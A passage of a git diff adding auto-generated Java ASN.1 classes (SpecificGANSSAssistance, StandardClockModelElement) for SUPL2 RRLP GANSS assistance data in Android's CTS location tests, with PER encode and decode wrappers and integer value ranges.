+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssStatusHealth : "
+ + getGanssStatusHealth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getDganssSgnList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDganssSgnList();
+ }
+
+ @Override public void setToNewInstance() {
+ setDganssSgnListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfDGANSSSgnElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dganssSgnList : "
+ + getDganssSgnList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssStatusHealthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssStatusHealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssStatusHealthType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssStatusHealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssStatusHealthType != null) {
+ return ImmutableList.of(TAG_ganssStatusHealthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssStatusHealthType from encoded stream.
+ */
+ public static ganssStatusHealthType fromPerUnaligned(byte[] encodedBytes) {
+ ganssStatusHealthType result = new ganssStatusHealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssStatusHealthType from encoded stream.
+ */
+ public static ganssStatusHealthType fromPerAligned(byte[] encodedBytes) {
+ ganssStatusHealthType result = new ganssStatusHealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssStatusHealthType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SgnTypeElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java
new file mode 100755
index 0000000..6de8e53
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SpecificGANSSAssistance
+ extends Asn1SequenceOf<GANSSAssistanceForOneGANSS> {
+ //
+
+ private static final Asn1Tag TAG_SpecificGANSSAssistance
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SpecificGANSSAssistance() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SpecificGANSSAssistance;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SpecificGANSSAssistance != null) {
+ return ImmutableList.of(TAG_SpecificGANSSAssistance);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SpecificGANSSAssistance from encoded stream.
+ */
+ public static SpecificGANSSAssistance fromPerUnaligned(byte[] encodedBytes) {
+ SpecificGANSSAssistance result = new SpecificGANSSAssistance();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SpecificGANSSAssistance from encoded stream.
+ */
+ public static SpecificGANSSAssistance fromPerAligned(byte[] encodedBytes) {
+ SpecificGANSSAssistance result = new SpecificGANSSAssistance();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSAssistanceForOneGANSS createAndAddValue() {
+ GANSSAssistanceForOneGANSS value = new GANSSAssistanceForOneGANSS();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SpecificGANSSAssistance = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSAssistanceForOneGANSS value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StandardClockModelElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StandardClockModelElement.java
new file mode 100755
index 0000000..a969b1b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StandardClockModelElement.java
@@ -0,0 +1,1011 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class StandardClockModelElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_StandardClockModelElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public StandardClockModelElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_StandardClockModelElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_StandardClockModelElement != null) {
+ return ImmutableList.of(TAG_StandardClockModelElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new StandardClockModelElement from encoded stream.
+ */
+ public static StandardClockModelElement fromPerUnaligned(byte[] encodedBytes) {
+ StandardClockModelElement result = new StandardClockModelElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new StandardClockModelElement from encoded stream.
+ */
+ public static StandardClockModelElement fromPerAligned(byte[] encodedBytes) {
+ StandardClockModelElement result = new StandardClockModelElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private StandardClockModelElement.stanClockTocType stanClockToc_;
+ public StandardClockModelElement.stanClockTocType getStanClockToc() {
+ return stanClockToc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StandardClockModelElement.stanClockTocType
+ */
+ public void setStanClockToc(Asn1Object value) {
+ this.stanClockToc_ = (StandardClockModelElement.stanClockTocType) value;
+ }
+ public StandardClockModelElement.stanClockTocType setStanClockTocToNewInstance() {
+ stanClockToc_ = new StandardClockModelElement.stanClockTocType();
+ return stanClockToc_;
+ }
+
+ private StandardClockModelElement.stanClockAF2Type stanClockAF2_;
+ public StandardClockModelElement.stanClockAF2Type getStanClockAF2() {
+ return stanClockAF2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StandardClockModelElement.stanClockAF2Type
+ */
+ public void setStanClockAF2(Asn1Object value) {
+ this.stanClockAF2_ = (StandardClockModelElement.stanClockAF2Type) value;
+ }
+ public StandardClockModelElement.stanClockAF2Type setStanClockAF2ToNewInstance() {
+ stanClockAF2_ = new StandardClockModelElement.stanClockAF2Type();
+ return stanClockAF2_;
+ }
+
+ private StandardClockModelElement.stanClockAF1Type stanClockAF1_;
+ public StandardClockModelElement.stanClockAF1Type getStanClockAF1() {
+ return stanClockAF1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StandardClockModelElement.stanClockAF1Type
+ */
+ public void setStanClockAF1(Asn1Object value) {
+ this.stanClockAF1_ = (StandardClockModelElement.stanClockAF1Type) value;
+ }
+ public StandardClockModelElement.stanClockAF1Type setStanClockAF1ToNewInstance() {
+ stanClockAF1_ = new StandardClockModelElement.stanClockAF1Type();
+ return stanClockAF1_;
+ }
+
+ private StandardClockModelElement.stanClockAF0Type stanClockAF0_;
+ public StandardClockModelElement.stanClockAF0Type getStanClockAF0() {
+ return stanClockAF0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StandardClockModelElement.stanClockAF0Type
+ */
+ public void setStanClockAF0(Asn1Object value) {
+ this.stanClockAF0_ = (StandardClockModelElement.stanClockAF0Type) value;
+ }
+ public StandardClockModelElement.stanClockAF0Type setStanClockAF0ToNewInstance() {
+ stanClockAF0_ = new StandardClockModelElement.stanClockAF0Type();
+ return stanClockAF0_;
+ }
+
+ private StandardClockModelElement.stanClockTgdType stanClockTgd_;
+ public StandardClockModelElement.stanClockTgdType getStanClockTgd() {
+ return stanClockTgd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StandardClockModelElement.stanClockTgdType
+ */
+ public void setStanClockTgd(Asn1Object value) {
+ this.stanClockTgd_ = (StandardClockModelElement.stanClockTgdType) value;
+ }
+ public StandardClockModelElement.stanClockTgdType setStanClockTgdToNewInstance() {
+ stanClockTgd_ = new StandardClockModelElement.stanClockTgdType();
+ return stanClockTgd_;
+ }
+
+ private StandardClockModelElement.stanModelIDType stanModelID_;
+ public StandardClockModelElement.stanModelIDType getStanModelID() {
+ return stanModelID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StandardClockModelElement.stanModelIDType
+ */
+ public void setStanModelID(Asn1Object value) {
+ this.stanModelID_ = (StandardClockModelElement.stanModelIDType) value;
+ }
+ public StandardClockModelElement.stanModelIDType setStanModelIDToNewInstance() {
+ stanModelID_ = new StandardClockModelElement.stanModelIDType();
+ return stanModelID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getStanClockToc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStanClockToc();
+ }
+
+ @Override public void setToNewInstance() {
+ setStanClockTocToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StandardClockModelElement.stanClockTocType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stanClockToc : "
+ + getStanClockToc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getStanClockAF2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStanClockAF2();
+ }
+
+ @Override public void setToNewInstance() {
+ setStanClockAF2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StandardClockModelElement.stanClockAF2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stanClockAF2 : "
+ + getStanClockAF2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getStanClockAF1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStanClockAF1();
+ }
+
+ @Override public void setToNewInstance() {
+ setStanClockAF1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StandardClockModelElement.stanClockAF1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stanClockAF1 : "
+ + getStanClockAF1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getStanClockAF0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStanClockAF0();
+ }
+
+ @Override public void setToNewInstance() {
+ setStanClockAF0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StandardClockModelElement.stanClockAF0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stanClockAF0 : "
+ + getStanClockAF0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getStanClockTgd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStanClockTgd();
+ }
+
+ @Override public void setToNewInstance() {
+ setStanClockTgdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StandardClockModelElement.stanClockTgdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stanClockTgd : "
+ + getStanClockTgd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getStanModelID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStanModelID();
+ }
+
+ @Override public void setToNewInstance() {
+ setStanModelIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StandardClockModelElement.stanModelIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stanModelID : "
+ + getStanModelID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stanClockTocType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stanClockTocType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stanClockTocType() {
+ super();
+ setValueRange("0", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stanClockTocType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stanClockTocType != null) {
+ return ImmutableList.of(TAG_stanClockTocType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stanClockTocType from encoded stream.
+ */
+ public static stanClockTocType fromPerUnaligned(byte[] encodedBytes) {
+ stanClockTocType result = new stanClockTocType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stanClockTocType from encoded stream.
+ */
+ public static stanClockTocType fromPerAligned(byte[] encodedBytes) {
+ stanClockTocType result = new stanClockTocType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stanClockTocType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stanClockAF2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stanClockAF2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stanClockAF2Type() {
+ super();
+ setValueRange("-2048", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stanClockAF2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stanClockAF2Type != null) {
+ return ImmutableList.of(TAG_stanClockAF2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stanClockAF2Type from encoded stream.
+ */
+ public static stanClockAF2Type fromPerUnaligned(byte[] encodedBytes) {
+ stanClockAF2Type result = new stanClockAF2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stanClockAF2Type from encoded stream.
+ */
+ public static stanClockAF2Type fromPerAligned(byte[] encodedBytes) {
+ stanClockAF2Type result = new stanClockAF2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stanClockAF2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stanClockAF1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stanClockAF1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stanClockAF1Type() {
+ super();
+ setValueRange("-131072", "131071");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stanClockAF1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stanClockAF1Type != null) {
+ return ImmutableList.of(TAG_stanClockAF1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stanClockAF1Type from encoded stream.
+ */
+ public static stanClockAF1Type fromPerUnaligned(byte[] encodedBytes) {
+ stanClockAF1Type result = new stanClockAF1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stanClockAF1Type from encoded stream.
+ */
+ public static stanClockAF1Type fromPerAligned(byte[] encodedBytes) {
+ stanClockAF1Type result = new stanClockAF1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stanClockAF1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stanClockAF0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stanClockAF0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stanClockAF0Type() {
+ super();
+ setValueRange("-134217728", "134217727");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stanClockAF0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stanClockAF0Type != null) {
+ return ImmutableList.of(TAG_stanClockAF0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stanClockAF0Type from encoded stream.
+ */
+ public static stanClockAF0Type fromPerUnaligned(byte[] encodedBytes) {
+ stanClockAF0Type result = new stanClockAF0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stanClockAF0Type from encoded stream.
+ */
+ public static stanClockAF0Type fromPerAligned(byte[] encodedBytes) {
+ stanClockAF0Type result = new stanClockAF0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stanClockAF0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stanClockTgdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stanClockTgdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stanClockTgdType() {
+ super();
+ setValueRange("-512", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stanClockTgdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stanClockTgdType != null) {
+ return ImmutableList.of(TAG_stanClockTgdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stanClockTgdType from encoded stream.
+ */
+ public static stanClockTgdType fromPerUnaligned(byte[] encodedBytes) {
+ stanClockTgdType result = new stanClockTgdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stanClockTgdType from encoded stream.
+ */
+ public static stanClockTgdType fromPerAligned(byte[] encodedBytes) {
+ stanClockTgdType result = new stanClockTgdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stanClockTgdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stanModelIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stanModelIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stanModelIDType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stanModelIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stanModelIDType != null) {
+ return ImmutableList.of(TAG_stanModelIDType);
+ } else {
